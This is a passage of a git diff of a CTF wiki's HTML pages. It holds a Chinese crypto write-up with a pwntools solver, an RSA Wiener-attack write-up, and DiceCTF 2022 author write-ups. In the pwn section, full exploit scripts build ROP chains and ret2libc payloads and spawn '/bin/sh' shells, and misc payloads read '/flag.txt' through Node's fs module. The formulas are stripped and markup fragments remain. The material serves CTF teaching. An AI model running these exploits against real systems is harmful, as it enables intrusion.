首先我们来看这个密码系统的解密:假设我们有[公式]的话,密文可以被写成

+

[公式]

+

所以

+

[公式]

+

这样我们就可以解得明文[公式]

+

接下来我们看挑战。实际上,挑战外部只有[公式][公式]参与了运算。我们的目的是求出挑战中的[公式]

+

先对二次加密的结果进行分析:

+

[公式]

+

[公式]

+

[公式]

+

[公式]

+

那么,如果我们已知[公式]的话,我们就可以通过模[公式]的阶为[公式]这一性质,求出[公式][公式],进而根据上面密码系统的解密步骤解出明文[公式],完成挑战。

+

[公式],这里我们[公式]是知道的,所以我们只需要求[公式]的值。

+

事实上,

+

[公式]

+

也就是说[公式]我们也是已知的。那么相当于说我们就可以有一个多项式[公式]

+

那么[公式][公式]的值就是[公式]

+

到这里,挑战解决:首先我们可以算出[公式],进而算出[公式]并解密出[公式],完成挑战。

+

而挑战送我们的奖励也就是四个

+

[公式]

+

的乘积,而这里[公式]是不变的,所以我们可以算出[公式],然后模[公式]意义下解方程得到[公式],进而对flag对应密文[公式]进行解密即可。

+

搞到提示的代码如下:

+
# sage -python gao_2.py
+from pwn import *
+from sage.all import *
+from Crypto.Util.number import *
+from hashlib import sha256
+
+def h2(m):
+    return int(sha256(m).hexdigest(), 16)
+
+p = 0xb5655f7c97e8007baaf31716c305cf5950a935d239891c81e671c39b7b5b2544b0198a39fd13fa83830f93afb558321680713d4f6e6d7201d27256567b8f70c3
+g = 0x85fd9ae42b57e515b7849b232fcd9575c18131235104d451eeceb991436b646d374086ca751846fdfec1ff7d4e1b9d6812355093a8227742a30361401ccc5577
+
+conn = remote('47.104.85.225', 62351)
+conn.sendlineafter('choice>', '1')
+conn.recvuntil('Please take good care of it!\n')
+s = conn.recvline()
+y, x = eval(s)
+
+conn.sendlineafter('choice>', '2')
+nlist = [33, 65, 129, 257]
+
+for n in nlist:
+    # n = 33 # 33
+    conn.recvuntil('The cipher shared to you\n')
+    s = conn.recvline()
+    c, (EE, VV, sr) = eval(s)
+    conn.recvuntil('prefix, encoder = ')
+    s = conn.recvline()
+    encoder, prefix_hex = eval(s)
+    prefix = int(prefix_hex, 16)
+    Y0 = pow(prefix, x, p)
+
+    P, (xx, ) = PolynomialRing(Zmod(p), 'xx').objgens()
+    f1 = xx ** n
+    for i in range(n):
+        f1 += xx ** (n-i-1) * encoder[i]
+
+    f2 = xx - Y0
+    ff = f1 % f2
+    r = int(ff)
+    d = h2(prefix_hex.decode('hex') + long_to_bytes(r).rjust(64, '\x00')) | 1
+    print(d)
+
+    d2 = inverse(d, p-1)
+    yev = pow(EE * VV, d2, p)
+    m = c * inverse(yev, p) % p
+    conn.sendline(hex(m)[2:])
+
+conn.interactive()
+
+

然后得到提示和密文。解密的脚本如下:

+
from Crypto.Util.number import *
+
+p = 0xb5655f7c97e8007baaf31716c305cf5950a935d239891c81e671c39b7b5b2544b0198a39fd13fa83830f93afb558321680713d4f6e6d7201d27256567b8f70c3
+g = 0x85fd9ae42b57e515b7849b232fcd9575c18131235104d451eeceb991436b646d374086ca751846fdfec1ff7d4e1b9d6812355093a8227742a30361401ccc5577
+
+c, (E, V, s) = (5585968041074025086153882651703151644252825797961750029846368850560274818374166788547796736374559756281986206108084144666719010198655069698311903223194165L, (7907022716121671499111670222633646508450620325985407809966619468858884394742418166662560533967841329320157194633470489479583638083109335158547004325407745L, 8405942693799264870593925170154538171389476686350775031149946204774020645560022720688012855017145834685204712310735071692308136544637274001444374071172215L, 4472917796572038030768951841580005906571419088430724545004411546215611452075638469061832923050311132351135006369648270174176244462571628294865215006848977L))
+
+dlist = [88705054545798462592463535140496546230654103298029754196033655251576954884967,
+3171548216431031323271233816116991780227219532639047192797048831559660952785,
+115398379312678080372309706872824527861787247942202400632537054143103194010615,
+85791902547465660732182842994118602329957914363880964530800626818535559558315]
+
+rs = 0x17be2ea8187855e3a4ff52657728c70efa4d8d51a9afb3a59fceb1ef85b377613f0271008951a7fcdf741a97892ec4a61c724e49ddb7d46b0e735448d35a1f29L
+
+Zp = Zmod(p)
+
+d = Zp(1)
+for x in dlist:
+    d *= x
+
+rs = Zp(rs)
+s = rs * d ^ -1
+
+P.<x> = PolynomialRing(Zp)
+f = x^4 - s
+fr = f.roots()
+
+c, E, V = map(Zp, (c, E, V))
+
+for x1, po in fr:
+    x1 = int(x1)
+    yev = (E * V) ^ x1
+    m = c * yev ^ -1
+    m = int(m)
+    print(long_to_bytes(int(m)).encode('hex'))
+
+

Flag

+
flag{504d0411-6707-469b-be31-9868200aca95}
+
+

Reference

+

Writeup from https://zhuanlan.zhihu.com/p/402690414

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/Cryptography/simpleRSA/index.html b/Writeup/Cryptography/simpleRSA/index.html new file mode 100644 index 000000000..a0bb6d195 --- /dev/null +++ b/Writeup/Cryptography/simpleRSA/index.html @@ -0,0 +1,8193 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + simpleRSA - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

simpleRSA

+

Category: Cryptography

+

Source: 祥云杯2020

+

Author: unknown

+

Score: 15

+

Description

+

Familiar and simple rsa

+

Solution

+
from Crypto.Util.number import *import gmpy2
+
+p, q, r = [getPrime(512) for i in range(3)]
+n = p * q * r
+phi = (p - 1) * (q - 1) * (r - 1)
+d = getPrime(256)
+e = gmpy2.invert(d , phi)
+
+flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"
+
+c = pow(bytes_to_long(flag), e, n)
+
+print(e, n)
+print(c)
+
+

三素数的RSA,曾经某个比赛还考过四素数的。其加密方式和常规RSA基本一致相同

+
# -*- coding: utf-8 -*-
+from Crypto.Util.number import long_to_bytes
+e = 1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679
+n = 1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
+c = 1079929174110820494059355415059104229905268763089157771374657932646711017488701536460687319648362549563313125268069722412148023885626962640915852317297916421725818077814237292807218952574111141918158391190621362508862842932945783059181952614317289116405878741758913351697905289993651105968169193211242144991434715552952340791545323270065763529865010326192824334684413212357708275259096202509042838081150055727650443887438253964607414944245877904002580997866300452
+
+
+data = []
+while n:
+    data += [e // n]
+    e, n = n, e % n
+for i in range(1, len(data) + 1):
+    e = 1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679
+    n = 1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
+    data1 = data[:i]
+    d = 0
+    d1 = 1
+    for j in data1[::-1]:
+        d, d1 = d1, d + j * d1
+    if b'flag' in long_to_bytes(str(pow(c, d, n))):
+        print(long_to_bytes(str(pow(c, d, n))))
+
+

图片

+

Flag

+

flag{1c40fa8a-6a9c-4243-bd83-cd4875ea88cc}

+

Reference

+

Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/DiceCTF 2022/index.html b/Writeup/DiceCTF 2022/index.html new file mode 100644 index 000000000..6138a64fc --- /dev/null +++ b/Writeup/DiceCTF 2022/index.html @@ -0,0 +1,9638 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + DiceCTF 2022 Author Writeups - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

DiceCTF 2022 Author Writeups

+

by ireland / DiceGang

+

Crypto

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Challenge nameAuthorWriteup
crypto/baby-rsairelandjump
crypto/rejectedirelandjump
crypto/correlatedirelandjump
crypto/commitment-issuesgripingberryjump
crypto/pow-powdefundlink
crypto/learning without errorsirelandjump
crypto/shibariirelandjump
crypto/psychdefundlink
+

Misc

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Challenge nameAuthorWriteup
misc/undefinedaplet123jump
misc/sober-bishopclubby789jump
misc/VinegarkmhTODO
misc/TI-1337 Silver EditionkmhTODO
misc/Cache On The SidewiresboyTODO
misc/5D File System with Multiverse Time TravelpoorthoTODO
+

Pwn

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Challenge nameAuthorWriteup
pwn/interview-opportunitysmoothhackerjump
pwn/baby-ropirelandjump
pwn/data-eaterKyleForkBombjump
pwn/chutes-and-laddersboshTODO
pwn/containmenthgarrereynTODO
pwn/memory holechop0TODO
pwn/nightmarepepsipujump
pwn/road-to-failureNotDeGhostjump
+

Rev

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Challenge nameAuthorWriteup
rev/flagleinfuzionTODO
rev/hyperlinkBrownieInMotionTODO
rev/taxeshgarrereynTODO
rev/dicecrafthgarrereynTODO
rev/cable managementevilmuffinhaTODO
rev/typedaplet123jump
rev/breachhgarrereynTODO
rev/universalirelandjump]
+

Web

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Challenge nameAuthorWriteup
web/knock-knockBrownieInMotionjump
web/blazingfastlarrylink
web/no-cookiesBrownieInMotionTODO
web/flarelarryTODO
web/vm-calcStrelliclink
web/noteKeeperStrelliclink
web/dicevaultarxenixjump
web/denoblogStrelliclink
web/carrotlarryTODO
web/shadowarxenixjump
+

Writeups

+

crypto/baby-rsa

+

256-bit RSA where $e^2 | p-1, q-1$. +Intended solution = factor $N$ with cado-nfs, then use sage's nth_root() function to get all candidate decryptions. Finally, combine using Chinese Remainder Theorem.

+

The nth_root() algorithm is described in this paper. It's simple for $e | p-1$, but for higher-powers of $e$ involves solving a (small) discrete logarithm problem. Fortunately, sage has it implemented as a built-in.

+

Many resources online describe how to proceed if e | p-1, but they don't describe the general case for higher powers of e.

+
from Crypto.Util.number import long_to_bytes
+
+N = 57996511214023134147551927572747727074259762800050285360155793732008227782157
+e = 17
+cipher = 19441066986971115501070184268860318480501957407683654861466353590162062492971
+# factor with cado-nfs
+p, q = 172036442175296373253148927105725488217, 337117592532677714973555912658569668821
+
+assert p * q == N
+
+p_roots = mod(cipher, p).nth_root(e, all=True)
+q_roots = mod(cipher, q).nth_root(e, all=True)
+
+for xp in p_roots:
+    for xq in q_roots:
+        x = crt([Integer(xp), Integer(xq)], [p,q])
+        x = int(x)
+        flag = long_to_bytes(x)
+        if flag.startswith(b"dice"):
+            print(flag.decode())
+
+

crypto/rejected

+

Whenever the RNG has to reroll, then it means that the highest bit of the output is 1. This lets you launch a known-plaintext attack on the underlying LFSR. Solve the resulting linear system (over GF(2)) and find the flag.

+

You don't really get much information if the RNG doesn't reroll. A good choice of modulus is (2^32 // 3) + 1 or (2^32 // 4) + 1, as this will increase the chances of the RNG rerolling.

+

crypto/correlated

+

A correlation attack on a LFSR, this challenge artificially demonstrates how you can attack a filtered LFSR.

+

If you have 48 (= length of seed) clean bits, then you can invert the LFSR stream and find the seed. As each bit in the output stream is correct with 80% probability, you should expect to try 1 / 0.8^48 = 45,000 different subsets of the output stream before it works. As you are given 20,000 output bits, this is no problem at all.

+

Unmodified information set decoding also works, mainly because the dimension of the LFSR is so small.

+

You can also solve this with a customized fast correlation attack if you find sparse linear relations for the LFSR. As the state space is 2^48, you can use a birthday attack/meet-in-the-middle to find random linear relations each of length 3 which collide. That will give you a length 6 linear relation for the LFSR. This is much more complicated than the other solutions.

+

crypto/commitment-issues

+

We are given the result of a commitment of a signature of the flag. In particular, we have a large semiprime $N = pq$, a public exponenent $e$ with inverse $d$, and if m = bytes_to_long(flag), then $s = m^d \pmod{N}$ is the signature. A random value $r$ is then generated and we're given $c_1 = s + r \pmod{N}$ and $c_2 = r^5 \pmod{N}$.

+

There's multiple ways to ultimately do the same computations that lead to the flag. I'll describe a solution that's due to Utaha from Balsn.

+

Notice that the polynomial $p(t) = (c_1 - t)^5 - c_2 \in \mathbb{Z}N[t]$ vanishes at $t = s$. We then consider the quotient ring $\mathbb{Z}_N[t]/(p)$. Since the lead coefficient of $p$ is a unit, this is a free $\mathbb{Z}_N$-module of rank $\deg p = 5$ with basis ${1, t, ..., t^4}$. In particular any $6$ elements in $\mathbb{Z}_N[t]/(p)$ will satisfy a non-trivial $\mathbb{Z}_N$-linear dependence. Using sage to efficiently write +$$(t^e)^i = a{i0} + a_{i1}t + \dots + a_{i4}t^4 \in \mathbb{Z}N[t]/(p)$$ +for $i = 0, ..., 5$ we can use the matrix $A = (a{ij})_{ij}$ to compute a non-trivial linear dependence +$$\beta_0 + \beta_1 \cdot t^e + \dots + \beta_5 \cdot (t^e)^5 = 0 \in \mathbb{Z}_N[t]/(p).$$ +However since $p(s) = 0 \pmod{N}$, the evaluation at $s$ map +$$\begin{aligned} +E_s :\;& \mathbb{Z}_N[t] \to \mathbb{Z}_N \ +& \;\;\;\; q \longmapsto q(s) +\end{aligned}$$ +descends to a valid map $\mathbb{Z}_N[t]/(p)\to \mathbb{Z}_N$ and we find that in fact, +$$\beta_0 + \beta_1 \cdot s^e + \dots + \beta_5 \cdot (s^e)^5 = 0 \pmod{N}.$$ +But $s^e = m$ is just the flag, and we can now apply Coppersmith to recover $m$.

+

crypto/learning-without-errors

+

This challenge is based on a passive attack which broke the CKKS cryptosystem last year. The gist of it is that CKKS Ring Learning With Errors cryptosystem encrypts the message as a pair (c_0, c_1) = (a, a * s + m + e) where s is the secret, m is the message, a is a random ring element, and e is a "small" secret error. If e and s are unknown, then recovering m from this requires solving a hard lattice problem. However, when decrypting, CKKS returns m + e, which just ... tells you ... what the secret error is.

+

Basic algebra then gives s = (c_1 - (m + e)) * c_0^{-1}. Therefore, seeing a pair of encrypted and decrypted values is enough for a passive adversary to completely recover the secret key!

+

However, this does seemingly require c_0 to be invertible in the ring, which for our parameters is Zmod(2^100)[x] / [x^1024]. The power-of-two modulus does (or so I thought) raise an issue.

+
q = 1 << 100
+N = 10
+Rbase.<x> = PolynomialRing(Zmod(q))
+R.<x> = Rbase.quotient(x^N + 1)
+
+

Based on my testing, I had assumed that with overwhelming probability, c_0 would not have an inverse in the ring. This would force competitors to find another way to compute the required division. This appears to be supported by the linked paper (on page 18):

+
+

A little difficulty arises due to the choice of q. The first implementation of CKKS, the HEAAN library sets q to a power of 2 to simplify the treatment of floating point numbers. Subsequent instantiations of CKKS use a prime (or square-free) q of the form h · 2^n + 1 together with the Number Theoretic Transform for very fast ring operations. For a (sufficiently large) prime q, the probability of a random element a being invertible is very close to 1, but this is not the case when q is a power of two. If a is not invertible, we can still recover partial information about the secret key s, and completely recover s by using multiple ciphertexts.

+
+

My solution computes the inverse of c_0 in the p-adic extension to R with 20480 digits of precision. (Such extremely high precision is needed because the quotient polynomial I = x^1024 + 1 has I.discriminant() = 2^10240).

+

However, some teams just... got lucky... and had a c_0 which was invertible. I'm not sure what the chances of this happening were -- clearly my initial tests led me to the wrong conclusion.

+

The challenge still had a low number of solves, probably because RLWE is not common in CTFs.

+

crypto/shibari

+

This challenge implements a very weird compiler using a representation of the Braid Group.

+

Braid Groups have previously been used in cryptography to implement a non-commutative variant of Diffie-Hellman. This was also the concept behind the proposed post-quantum (but actually completely insecure) scheme WalnutDSA.

+

The cryptographically-interesting property of Braid Groups is that they have a computationally efficient normal form. That is, while there are (infinitely) many ways to write an element of the braid group in terms of the generators, you can convert all representations into the same canonical form.

+

This has been proposed as a way to hide the individual factors of a product of group elements a * b * c.

+

This challenge used the fact that the group-action of the braid group with $n$ strands on $AlternatingGroup(5)^{(2 n)}$ induced by the Yang-Baxter equation is sufficiently expressive that it is Turing complete. Specifically, you can evaluate CCNOT gates, which are computationally universal. The bulk of the source code provided for this challenge consists of a circuit-to-braid compiler and a braid-circuit evaluator.

+

Additionally, I provided python bindings for a very fast braid group library, which can compute the canonical forms for the braids. I also presented a C++ version of the braid-circuit evaluator, which takes around 0.1 seconds to evaluate each sub-circuit.

+

With all this done, we can finally discuss the challenge.

+

The intended solution is 2 parts: +1) the braid is already in normal form, so you can import it into LNF faster than computing LNF on it. +2) apply a length-based attack because the entire circuit is reversible.

+

if you guess that the first few gates are performing the subcircuit A := NOT bit 0; CCNOT(0,1,2) then the length of the circuit A^-1 * Circuit should be "shorter" than the length of Circuit, where length is the length of the LNF canonical form

+

Whereas if you guess wrong and try the circuit B := NOT bit 0; NOT bit 1; CCNOT(0,1,2), then the length of the circuit B^-1 * Circuit should be longer than the length of Circuit. So you can bruteforce the flag 2-bits at a time

+

the step 1) of importing into LNF is needed because computing the LNF is so slow for the obfuscated braids (it's pretty quick for the unobfuscated braids). And the provided python bindings support quickly computing the LNF of LNF(a) * LNF(b)

+

In hindsight, I should have released the LNF form of the braids so that players didn't have to import it.

+

The only solution during the competition to this challenge used GPU brute force to find the flag \shrug. I estimate that this took the equivalent of 10-years of cpu time. This was completely unintended.

+

misc/undefined

+

Node.js wraps modules in a top-level function where require is passed in as an argument, meaning that require will always be accessible from arguments. However, since arguments is shadowed, you have to first create a function then access the parent function's arguments via arguments.callee.caller.arguments:

+
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
+
+

For some reason, when making the challenge, I thought import wouldn't work due to Node defaulting to common.js modules, but it does for some reason, so there's a much easier cheese:

+
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
+
+

misc/sober-bishop

+

To solve the challenge, players must find a flag which can be passed into OpenSSH's randomart algorithm. Due to the high-collision nature of the function, randomart(md5(flag)) is also provided. +We need to implement a high-performance algorithm to identify valid paths through the grid. My approach was this: +1. Starting at our inital point, try moving to a diagonally adjacent position +2. Append the new position to a list of positions +3. Check if the number of times the current position appears in the list exceeds the number of times indicated by the grid + - If we are at the end position, go to step 5 + - If it does not exceed, then try moving to a new position + - If it does, then pop the current position off the list +4. Repeat steps 1-3 on the next of the four possible positions +5. Convert the list of coordinates to a series of two-bit pairs, and convert them to a byte array +6. Check if the randomart(md5(array)) matches the provided randomart + - If not, return to step 3 + - If so, we're done, and print our flag

+

To optimise this approach: + - For the initial 4 positions, we can split the work across multiple cores easily, each exploring potential paths + - We know the start position, and the first 5 characters (dice{). Therefore we can hardcode the first 21 positions + - At each position, we can convert our path to a string and check if it meets the constraints (begins with dice{, all lowercase alphanumeric). If not, we can backtrack + - If we have a 'complete' flag dice{[a-z0-9]+}, we can verify that each position has been visited the correct number of times + - If all this is the case, we can attempt to calculate the MD5

+

My Rust solution took 20 seconds to extract the flag dice{unr4nd0m}

+

pwn/baby-rop

+

The challenge is a simple use-after-free, but with a few mitigations to make exploitation harder.

+

Because the challenge uses a struct with a char *, players can easily turn the use-after-free into an arbitrary read and write without specialized heap voodoo. PIE is disabled because I'm nice.

+

The challenge has several mitigations.

+

1) the glibc version is 2.34 (as printed out 3 different times when you connect to the server), which removed the __free_hook and __malloc_hook flags +2) full RELRO is used, which removes another collection of function pointers to overwrite +3) the binary uses seccomp to ban the execve syscall. So both calling a one-gadget and calling system("/bin/sh") are off the table. +4) ASLR (but not PIE) is enabled, so the location of the stack is randomized.

+

As the challenge name indicates, you are supposed to ROP your way to the flag, using an open-read-write ROP chain. So now the question is -- how can you turn your arbitrary read/write into a ROP chain? First, you'll need to leak a stack address.

+

A nice description of how to leverage arbitrary reads in the binary/libc/heap/stack to determine the location of everything else can be found in this blog post. Note: these techniques were also heavily featured in the breach and containment challenges!

+

The crucial section is that libc contains an environ pointer which points to a location on the stack.

+

The sequence is: +1) read GOT to leak a libc address +2) read libc->environ to leak a stack address +3) compute the offset to the saved return addresses +4) ROP your way to the flag!

+

Some teams had solutions which worked locally but not on remote. Some common fixed to these problems were: +1) use a write syscall instead of puts() to print the flag +2) double-check that the offset between *environ and the saved return address is correct on remote (should be -0x140). This has some slight variation depending on your configuration, but it's not hard to brute-force and check whether you're correct +3) using .bss as temporary storage instead of the heap. For whatever reason, exploits which tried to read the contents of flag.txt onto the heap were unreliable +4) open flag.txt in read-only mode. The redpwn jail we were using didn't support writing to disk +5) end your rop chain with an exit(0) syscall, which has the side-effect of flushing stdout

+

My exploit is the following

+
from pwn import *
+
+def split_before(s, t):
+    i = s.index(t)
+    return s[:i]
+
+def split_after(s, t):
+    i = s.index(t)
+    return s[len(t) + i:]
+
+
+#################################################
+
+context.terminal = ["tmux", "splitw", "-h"]
+context.arch = 'amd64'
+context.binary = "./run"
+
+host = args.HOST or 'localhost'
+port = args.PORT or 31245
+
+if args.LOCAL:
+    r = process("./run", env = {'LD_PRELOAD' : './libc.so.6'})
+else:
+    r = remote(host, port)
+
+binary = ELF("./run")
+libc = ELF("./libc.so.6")
+
+malloc_libc_OFFSET = libc.symbols["malloc"]
+free_libc_OFFSET = libc.symbols["free"]
+
+
+#################################################
+
+def xfree(idx):
+    print(r.recvuntil(b"enter your command: ").decode())
+    r.sendline(b"F")
+    print(r.recvuntil(b"enter your index: ").decode())
+    r.sendline("{}".format(idx).encode())
+
+def xread(idx):
+    print(r.recvuntil(b"enter your command: ").decode())
+    r.sendline(b"R")
+    print(r.recvuntil(b"enter your index: ").decode())
+    r.sendline("{}".format(idx).encode())
+
+def xwrite(idx, value=b""):
+    print(r.recvuntil(b"enter your command: ").decode())
+    r.sendline(b"W")
+    print(r.recvuntil(b"enter your index: ").decode())
+    r.sendline("{}".format(idx).encode())
+    print(r.recvuntil(b"enter your string: ").decode())
+    r.sendline(value)
+
+def xcreate(idx, length, value=b""):
+    print(r.recvuntil(b"enter your command: ").decode())
+    r.sendline(b"C")
+    print(r.recvuntil(b"enter your index: ").decode())
+    r.sendline("{}".format(idx).encode())
+    print(r.recvuntil(b"How long is your safe_string: ").decode())
+    r.sendline("{}".format(length).encode())
+    print(r.recvuntil(b"enter your string: ").decode())
+    r.sendline(value)
+
+
+#################################################
+
+xcreate(0, 128)
+xcreate(1, 128)
+
+xfree(0)
+xfree(1)
+
+got_free_addr = binary.symbols['got.free']
+payload = p64(8) + p64(got_free_addr)
+xcreate(2, 16, payload)
+
+xread(0)
+
+print(r.recvuntil(b"hex-encoded bytes\n").decode())
+s = r.readline()
+s = s.decode()
+s = s.replace(" ", "")
+s = bytes.fromhex(s)
+free_addr = u64(s)
+
+libc_base_addr = free_addr - free_libc_OFFSET
+
+# -------------------------------------------------
+
+got_malloc_addr = binary.symbols['got.malloc']
+payload = p64(8) + p64(got_malloc_addr)
+xwrite(2, payload)
+
+xread(0)
+
+print(r.recvuntil(b"hex-encoded bytes\n").decode())
+s = r.readline()
+s = s.decode()
+s = s.replace(" ", "")
+s = bytes.fromhex(s)
+malloc_addr = u64(s)
+
+assert malloc_libc_OFFSET - free_libc_OFFSET == malloc_addr - free_addr
+
+# -------------------------------------------------
+
+libc_environ_addr = libc_base_addr + libc.symbols["environ"]
+payload = p64(8) + p64(libc_environ_addr)
+xwrite(2, payload)
+
+xread(0)
+
+print(r.recvuntil(b"hex-encoded bytes\n").decode())
+s = r.readline()
+s = s.decode()
+s = s.replace(" ", "")
+s = bytes.fromhex(s)
+environ_addr = u64(s)
+
+print(hex(libc_environ_addr))
+print(hex(environ_addr))
+
+# -------------------------------------------------
+
+libc.address = libc_base_addr
+rop = ROP(libc)
+
+# find offset with gdb, might need some brute-force for remote
+rip_addr = environ_addr - 0x140
+
+# new file descriptor, totally brute-forcible
+fd = 3
+# pointer to filename = "flag.txt"
+dst_filename = binary.bss(400)
+
+mov_rcx_rdx_addr = libc_base_addr + 0x0016c020 # 2.34
+mov_rcx_rdx = p64(mov_rcx_rdx_addr)
+
+print(disasm(libc.read(mov_rcx_rdx_addr, 4)))
+
+rop(rcx=dst_filename, rdx=u64(b"flag.txt"))
+rop.raw(mov_rcx_rdx)
+rop(rcx=dst_filename + 8, rdx=0)
+rop.raw(mov_rcx_rdx)
+
+# sanity checks
+rop.puts(dst_filename)
+rop.write(1, dst_filename, 16, 1)
+
+rop.open(dst_filename, 0)
+rop.read(fd, dst_filename, 128)
+rop.write(1, dst_filename, 128)
+
+
+rop.exit(0)
+
+
+# -------------------------------------------------
+
+
+real_payload = rop.chain()
+
+payload = p64(len(real_payload)) + p64(rip_addr)
+xwrite(2, payload)
+
+xwrite(0, real_payload)
+
+# gdb.attach(r)
+
+r.sendline(b"E0")
+
+sleep(0.1)
+
+print(r.recv())
+
+
+

pwn/data-eater

+

There's usually a pointer to link_map on the stack somewhere, so just write some data to buf and overwrite the DT_STRTAB pointer in link_map->l_info.

+

The offset to link_map varies a little bit but this should cover most of the possibilities.

+
def sice(k):
+  print(k)
+  try:
+    # do pwning
+    r = conn()
+    r.sendline(f'%s%{k}$s')
+    r.sendline(b'/bin/sh\0' + p64(exe.sym['buf'] + 16 - exe.section('.dynstr').index(b'memset\x00')) + b'system\0 ' + p64(0)*13 + p64(exe.sym['buf'])[:-1])
+
+    # make sure we got a shell
+    r.recv(timeout=0.1)
+    r.sendline('echo ginkoid')
+    r.recvuntil('ginkoid')
+
+    r.interactive()
+    return True
+  except EOFError:
+    return False
+  finally:
+    r.close()
+
+for k in range(30, 50):
+  if sice(k): break
+
+

I recently found this doesn't work with ubuntu:18.04 and centos:6 for some reason, but the 14 other Docker images I tried were okay. Apologies if this caused you trouble! I initially only tested on a couple (including my own host) and it worked on all of them so I didn't bother trying more.

+

pwn/interview-opportunity

+

This challenge is a classic return2libc exploit. The bug here is 60 byte overflow into the 10 byte reason char array from the read() function call.

+
...
+int main(int argc, char **argv) {
+  char reason[10];
+  ...
+  read(0, reason, 70);
+  puts(reason);
+}
+
+

The only mitigations that are enabled are NX and ASLR. With NX enabled, we can't use shellcode. So ROP and ret2libc is our workaround. To defeat ASLR we have to do 2 passes. 1) leak the libc base address and return to main. 2) return to system() in libc. I have attached the solution script below.

+
from pwn import *
+
+e = ELF("./interview-opportunity")
+libc = ELF("./libc.so.6")
+target = process(e.path)
+context.terminal = ["tmux", "splitw", "-v"]
+
+rdi = 0x401313
+
+payload = b"A" * 0x22
+payload += p64(rdi)
+payload += p64(e.got["puts"])
+payload += p64(e.symbols["puts"])
+payload += p64(e.symbols["main"])
+
+target.sendline(payload)
+
+target.recvuntil(b"A" * 0x22)
+target.recvline()
+
+leak = u64(target.recvline(keepends=False).ljust(8, b"\x00")) - libc.symbols["puts"]
+print("leak: {:#x}".format(leak))
+
+payload = b"A"*0x22
+payload += p64(rdi + 1)
+payload += p64(rdi)
+payload += p64(next(libc.search(b"/bin/sh")) + leak)
+payload += p64(libc.symbols["system"] + leak)
+
+target.sendline(payload)
+target.interactive()
+
+

pwn/nightmare

+

REDACTED: We are redacting the solution for 1 week to give teams an attempt to claim the blood prize! The author writeup will be released after the first solve or the 1 week is up.

+

pwn/road-to-failure

+

REDACTED: We are redacting the solution for 1 week to give teams an attempt to claim the blood prize! The author writeup will be released after the first solve or the1 week is up.

+

rev/universal

+

This challenge presents an obfuscate quantum circuit for performing addition based on the Quantum Fourier Transform adder, which is the same addition algorithm featured in the linked writeups from last year's quantum rev challenges. The goal is to determine that number is being added.

+

The obfuscation comes from that all of the Rz(theta) rotations have been converted into long sequences of H and T gates -- thus making the entire quantum circuit only use H, T, CNOT gates. The program I used for this was gridsynth, which is much more efficient than other approaches, eg as given by the construction of the Solovay-Kitaev theorem. No other obfuscations were applied, apart from those required to convert controlled-rotations into a mix of CNOT and single-qubit gates.

+
     $ gridsynth pi/128
+     SHTHTHTHTHTHTHTSHTHTHTHTSHTHTHTHTHTSHTSHTHTHTHTHTSHTHTHTSHTSHTHTSHTSHTSHTHTHTHTS
+     HTHTHTHTHTSHTSHTHTSHTHTSHTSHTSHTSHTHTSHTSHTSHTSHTHTHTSHTSHTSHTHTHTHTSHTHTSHTHTHT
+     SHTHTHTHTSHTHTSHTHTSHTSHTSHTHTHTHTHTHTHTSHTHTSHTHTHTSHTSHTHTHTSHTSHTSHTHTSHTHTHT
+     HTSHTSHTSHSSSWWWWWWW
+
+

The intended solution analyzes the structure of the QFT to isolate where the actual rotations are beign applied. The QFT consists of a long chain of CNOT gates and Rz rotations. The actual adder component consists of only Rz rotations, with no CNOT gates. So the longest chain of gates in the circuit which contains no CNOT gates is the adder. This is the only component which you need to statically analyze. You can determine this by reading about how the QFT works, or by looking at the generate.py script from last year's challenges.

+

